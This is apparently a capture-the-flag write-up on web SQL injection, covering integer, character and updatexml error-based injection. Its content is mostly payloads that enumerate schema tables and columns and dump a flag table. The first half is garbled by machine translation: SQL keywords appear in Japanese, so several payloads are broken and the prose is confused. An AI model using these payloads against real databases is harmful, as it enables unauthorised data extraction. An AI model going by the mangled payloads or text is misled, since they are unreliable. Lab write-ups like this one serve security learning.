ウェブでのSQLインジェクションの問題
1、整数注射
使用burpsuite ,? ID = 1%20及び%201 = 1
ID = 1件のデータがまだ存在整数注入を証明するために、表示されます
フィールドの数、エコーロケーションを参照するには、従来の慣行、
?ID = 1%20order%20by%202
フィールドの数2
?ID = 1%20及び%201 = 2%20union%20select%201,2
1と2は、位置をエコーされ、名前のルックアップテーブル
?ID = 1%20及び%201 = 2%20union%20select%20group_concat(テーブル名)、2%20from%20information_schema.tables%20where%20table_schema =データベース()
フラグフィールドの内部の内容を確認していき、2つのテーブルを参照してください。
?ID = 1%20及び%201 = 2%20union%20select%20group_concat(COLUMN_NAME)、2%20from%20information_schema.columns%20where%20table_name =%27flag%27
フラグテーブルのフラグフィールドが内部に存在します
?ID = 1%20及び%201 = 2%20union%20select%20group_concat(フラグ)、2%20from%20flag
フラグを取得します。
2. char型の注入
1を入力した後、あなたは、SQL文が表示され見ることができる私達の入力と包まれた単一引用符の結果であり、
?ID = 1' と1 = 1 - +
あなたは、ほぼ次の注入の前にして、単一引用符の成功の閉鎖を見ることができます
ペイロードが最後であります
?フラグからID = 1' と1 = 2組合選択GROUP_CONCAT(フラグ)、2 - +
閉じられた射出引用符で注入文字で、数字の差嘘をフラグの取得
3、エラー注入
注入は、私たちが帰還誤差のうち必要な情報を取得するために私たちに与えられています
ここでは、updataxml機能のエラー注入を使用します
UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值
举一个payload:
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
updatexml的报错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串,但是我们第二个参数很明显不是,而是我们想要获得的数据,所以会报错,并且在报错的时候会将其内容显示出来,从而获得我们想要的数据
?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
我们接着注入即可,查询flag的payload为:
?id=1 and (updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1));
因为前面两道题都是flag字段,所以这次我直接猜了
但是xpath报错只显示32位结果,很明显显示的flag不完全,我们需要借助mid函数来进行字符截取从而显示32位以后的数据。
?id=1 and (updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1));
获得剩下的数据,拿到flag
做会leetcode再更新